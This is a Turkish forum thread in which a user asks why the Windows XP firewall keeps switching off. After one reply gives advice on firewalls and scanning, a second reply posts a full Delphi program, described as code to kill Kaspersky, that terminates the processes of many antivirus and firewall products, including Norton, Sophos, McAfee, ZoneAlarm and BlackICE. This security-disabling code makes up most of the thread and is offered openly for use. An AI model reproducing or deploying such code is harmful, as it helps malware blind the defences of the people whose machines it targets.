Tahribat.com Forumları
Yazılımlar / Diğer Programlar
Firewallım Durup Dururken Kapanıyor Nedendir Ki?
Yazılımlar / Diğer Programlar
Firewallım Durup Dururken Kapanıyor Nedendir Ki?
Firewallım Durup Dururken Kapanıyor Nedendir Ki?
-
windows xp sp2 kullanıyorum ve güvenlik duvarı her açışımda kendiliğinden kapanıyor nedenini bilmiyorum virüs taramasından geçirdim bişey bulmadım her zaman böyle oluyor karıştırdım kurcaladım baya ama bişey bulamadım bi anlam veremedim bu neden olabilir sizce ve çözümü varmıdır?
-
yerinde olsam windows güvelik duvarı kullanmam..kaspersky ın geliştirdiği güvenlik duvarını tavsiye ederim..kaspersky anti-hacker yani ;)
-
Ek Not: Dos altında çalışan bir virus taraması temin et ve orda tarat (F-prot gibi) Eğer dosta tarama yapamıyorsan güvenli kipte yap. Çünkü son çıkan virusler antivirusü etkisiz hale getirebiliyor bu şekilde antivirusler yakalayamıyor....
Delphi için yazılmış, kaspersky ı kapatma kodu;
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
Tlhelp32, StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
Button3: TButton;
Button4: TButton;
Button5: TButton;
Button6: TButton;
Button7: TButton;
Button8: TButton;
Button9: TButton;
Button10: TButton;
Button11: TButton;
Button12: TButton;
Button13: TButton;
Button14: TButton;
Button15: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure Button4Click(Sender: TObject);
procedure Button5Click(Sender: TObject);
procedure Button6Click(Sender: TObject);
procedure Button7Click(Sender: TObject);
procedure Button8Click(Sender: TObject);
procedure Button9Click(Sender: TObject);
procedure Button10Click(Sender: TObject);
procedure Button11Click(Sender: TObject);
procedure Button12Click(Sender: TObject);
procedure Button13Click(Sender: TObject);
procedure Button14Click(Sender: TObject);
procedure Button15Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
function KillTask(ExeFileName: string): integer;
const
PROCESS_TERMINATE=$0001;
var
ContinueLoop: BOOL;
FSnapshotHandle: THandle;
FProcessEntry32: TProcessEntry32;
begin
result := 0;
FSnapshotHandle := CreateToolhelp32Snapshot
(TH32CS_SNAPPROCESS, 0);
FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
ContinueLoop := Process32First(FSnapshotHandle,
FProcessEntry32);
while integer(ContinueLoop) <> 0 do
begin
if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
UpperCase(ExeFileName))
or (UpperCase(FProcessEntry32.szExeFile) =
UpperCase(ExeFileName))) then
Result := Integer(TerminateProcess(OpenProcess(
PROCESS_TERMINATE, BOOL(0),
FProcessEntry32.th32ProcessID), 0));
ContinueLoop := Process32Next(FSnapshotHandle,
FProcessEntry32);
end;
CloseHandle(FSnapshotHandle);
end;
procedure killavp;
begin
try
KillTask ('_AVP32.EXE');
KillTask ('_AVPCC.EXE');
KillTask ('_AVPM.EXE');
KillTask ('AVP32.EXE');
KillTask ('AVPCC.EXE');
KillTask ('AVPM.EXE');
KillTask ('AVP.EXE');
except Exit; end;
end;
procedure killnav;
begin
try
KillTask ('NAVAPW32.EXE');
KillTask ('NAVW32.EXE');
except Exit; end;
end;
procedure killsophos;
begin
try
KillTask ('ICLOAD95.EXE');
KillTask ('ICMON.EXE');
KillTask ('ICSUPP95.EXE');
KillTask ('ICLOADNT.EXE');
KillTask ('ICSUPPNT.EXE');
except Exit; end;
end;
procedure killpanda;
begin
try
KillTask ('IFACE.EXE');
except Exit; end;
end;
procedure killants;
begin
try
KillTask ('ANTS.EXE');
except Exit; end;
end;
procedure killantitrojan;
begin
try
KillTask ('Anti-Trojan.exe');
except Exit; end;
end;
procedure killatguard;
begin
try
KillTask ('iamapp.exe');
KillTask ('iamserv.exe');
except;
exit;
end;
end;
procedure killconseal;
begin
try
KillTask ('FRW.EXE');
except;
exit;
end;
end;
procedure killblackice;
begin
try
KillTask ('blackice.exe');
KillTask ('blackd.exe');
except;
exit;
end;
end;
procedure killzonealarm;
begin
try
KillTask ('zonealarm.exe');
KillTask ('vsmon.exe');
except;
exit;
end;
end;
procedure killwinroute;
begin
try
KillTask ('WrCtrl.exe');
KillTask ('WrAdmin.exe');
KillTask ('WrCtrl.exe');
except;
exit;
end;
end;
procedure killcleaner;
begin
try
KillTask ('cleaner3.exe');
KillTask ('cleaner.exe');
KillTask ('tca.exe');
KillTask ('MooLive.exe');
except;
exit;
end;
end;
procedure killlockdown;
begin
try
KillTask ('lockdown2000.exe');
except;
exit;
end;
end;
procedure killsphinx;
begin
try
KillTask ('Sphinx.exe');
except;
exit;
end;
end;
procedure killmcafee;
begin
try
KillTask ('VSHWIN32.EXE');
KillTask ('VSECOMR.EXE');
KillTask ('WEBSCANX.EXE');
KillTask ('AVCONSOL.EXE');
KillTask ('VSSTAT.EXE');
except;
exit;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
killavp;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
killnav;
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
killsophos;
end;
procedure TForm1.Button4Click(Sender: TObject);
begin
killpanda;
end;
procedure TForm1.Button5Click(Sender: TObject);
begin
killants;
end;
procedure TForm1.Button6Click(Sender: TObject);
begin
killantitrojan;
end;
procedure TForm1.Button7Click(Sender: TObject);
begin
killatguard;
end;
procedure TForm1.Button8Click(Sender: TObject);
begin
killconseal;
end;
procedure TForm1.Button9Click(Sender: TObject);
begin
killblackice;
end;
procedure TForm1.Button10Click(Sender: TObject);
begin
killzonealarm;
end;
procedure TForm1.Button11Click(Sender: TObject);
begin
killwinroute;
end;
procedure TForm1.Button12Click(Sender: TObject);
begin
killcleaner;
end;
procedure TForm1.Button13Click(Sender: TObject);
begin
killlockdown;
end;
procedure TForm1.Button14Click(Sender: TObject);
begin
killsphinx;
end;
procedure TForm1.Button15Click(Sender: TObject);
begin
killmcafee;
end;
end.
Toplam Hit: 912 Toplam Mesaj: 2